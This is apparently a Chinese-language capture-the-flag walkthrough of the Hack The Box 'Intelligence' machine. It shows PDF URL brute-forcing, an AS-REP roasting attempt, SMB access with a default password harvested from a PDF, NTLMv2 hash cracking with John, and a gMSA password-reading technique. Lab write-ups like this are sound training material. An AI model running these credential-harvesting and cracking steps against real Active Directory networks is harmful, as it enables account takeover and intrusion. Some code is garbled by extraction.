for y inrange(2020, 2022): for m inrange(1, 13): for d inrange(1, 32): url = f'http://intelligence.htb/documents/{y}-{m:02}-{d:02}-upload.pdf' if requests.get(url).status_code == 200: print(url)
$ python3 ~/tools/impacket/examples/GetNPUsers.py -dc-ip 10.129.85.15 -no-pass -usersfile usernames intelligence/ [-] User William.Lee doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User Scott.Scott doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User Jason.Wright doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User Veronica.Patel doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User Jennifer.Thomas doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User Danny.Matthews doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User David.Reed doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User Stephanie.Young doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User Daniel.Shelton doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User Jose.Williams doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User John.Coleman doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User Brian.Morris doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User Thomas.Valenzuela doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User Travis.Evans doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User Samuel.Richardson doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User Richard.Williams doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User David.Mcbride doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User Anita.Roberts doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User Brian.Baker doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User Kelly.Long doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User Nicole.Brock doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User Kaitlyn.Zimmerman doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User Jason.Patterson doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User Darryl.Harris doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User David.Wilson doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User Teresa.Williamson doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User Ian.Duncan doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User Jessica.Moody doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User Tiffany.Molina doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User Thomas.Hall doesn't have UF_DONT_REQUIRE_PREAUTH set
没有用户设置UF_DONT_REQUIRE_PREAUTH
让我们将PDF转换为文本文件，在这些文档内容中查找有用信息
首先安装poppler-utils
1
$ sudo apt install poppler-utils
执行以下脚本，将当前目录下的PDF转换为TXT存放到txt目录下
1 2 3 4 5
#!/bin/bash mkdir txt for pdf in *.pdf; do pdftotext -layout $pdf txt/$pdf.txt done
$ grep password -R 2020-06-04-upload.pdf.txt:Please login using your username and the default password of: 2020-06-04-upload.pdf.txt:After logging in please change your password as soon as possible.
查看2020-06-04-upload.pdf.txt的内容
1 2 3 4 5 6
New Account Guide Welcome to Intelligence Corp! Please login using your username and the default password of: NewIntelligenceCorpUser9876
After logging in please change your password as soon as possible.
$ smbmap -H 10.129.85.15 -u 'Tiffany.Molina' -p 'NewIntelligenceCorpUser9876' [+] IP: 10.129.85.15:445 Name: intelligence.htb Disk Permissions Comment ---- ----------- ------- ADMIN$ NO ACCESS Remote Admin C$ NO ACCESS Default share IPC$ READ ONLY Remote IPC IT READ ONLY NETLOGON READ ONLY Logon server share SYSVOL READ ONLY Logon server share Users READ ONLY
Users共享在/Users目录下
1 2 3 4 5 6 7 8 9 10 11 12 13 14
$ smbclient //10.129.85.15/Users -U Tiffany.Molina Enter WORKGROUP\Tiffany.Molina's password: Try "help" to get a list of possible commands. smb: \> ls . DR 0 Sun Apr 18 21:20:26 2021 .. DR 0 Sun Apr 18 21:20:26 2021 Administrator D 0 Sun Apr 18 20:18:39 2021 All Users DHSrn 0 Sat Sep 15 03:21:46 2018 Default DHR 0 Sun Apr 18 22:17:40 2021 Default User DHSrn 0 Sat Sep 15 03:21:46 2018 desktop.ini AHS 174 Sat Sep 15 03:11:27 2018 Public DR 0 Sun Apr 18 20:18:39 2021 Ted.Graves D 0 Sun Apr 18 21:20:26 2021 Tiffany.Molina D 0 Sun Apr 18 20:51:46 2021
smb: \Tiffany.Molina\Desktop\> ls . DR 0 Sun Apr 18 20:51:46 2021 .. DR 0 Sun Apr 18 20:51:46 2021 user.txt AR 34 Sun Jul 4 03:09:54 2021 smb: \Tiffany.Molina\Desktop\> get user.txt
User Ted.Graves
NETLOGON共享为空，SYSVOL没有包含什么有用的信息
IT共享包含一个downdetector.ps1文件
1 2 3 4 5 6 7 8 9 10
# Check web server status. Scheduled to run every 5min Import-Module ActiveDirectory foreach($recordinGet-ChildItem"AD:DC=intelligence.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=intelligence,DC=htb" | Where-Object Name -like"web*") { try { $request = Invoke-WebRequest-Uri"http://$($record.Name)"-UseDefaultCredentials if(.StatusCode -ne200) { Send-MailMessage-From'Ted Graves <Ted.Graves@intelligence.htb>'-To'Ted Graves <Ted.Graves@intelligence.htb>'-Subject"Host: $($record.Name) is down" } } catch {} }
$ grep -i ted -R 2020-12-30-upload.pdf.txt:There has recently been some outages on our web servers. Ted has gotten a
$ cat 2020-12-30-upload.pdf.txt Internal IT Update There has recently been some outages on our web servers. Ted has gotten a script in place to help notify us if this happens again. Also, after discussion following our recent security audit we are in the process of locking down our service accounts.
$ john ted.graves.hashes --wordlist=/usr/share/wordlists/rockyou.txt Using default input encoding: UTF-8 Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64]) Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status Mr.Teddy (Ted.Graves) 1g 0:00:00:13 DONE (2021-07-04 13:10) 0.07570g/s 818734p/s 818734c/s 818734C/s Mrz.deltasigma..Morgant1 Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably Session completed
该脚本通过LDAP读取CN=svc_int,CN=Managed Service Accounts,DC=intelligence,DC=htb条目的msDS-ManagedPassword属性获取svc_int$的MSDS-MANAGEDPASSWORD_BLOB，将其解析为NT Hash后输出
以下是msDS-ManagedPassword属性的描述
gMSA is short for group managed service accounts in Active Directory. gMSA accounts have their passwords stored in a LDAP property called msDS-ManagedPassword which automatically get resets by the DC’s every 30 days, are retrievable by authorized administrators and by the servers who they are installed on. msDS-ManagedPassword is an encrypted data blob called MSDS-MANAGEDPASSWORD_BLOB and it’s only retrievable when the connection is secured, LDAPS or when the authentication type is ‘Sealing & Secure’ for an example. —— https://cube0x0.github.io/Relaying-for-gMSA/
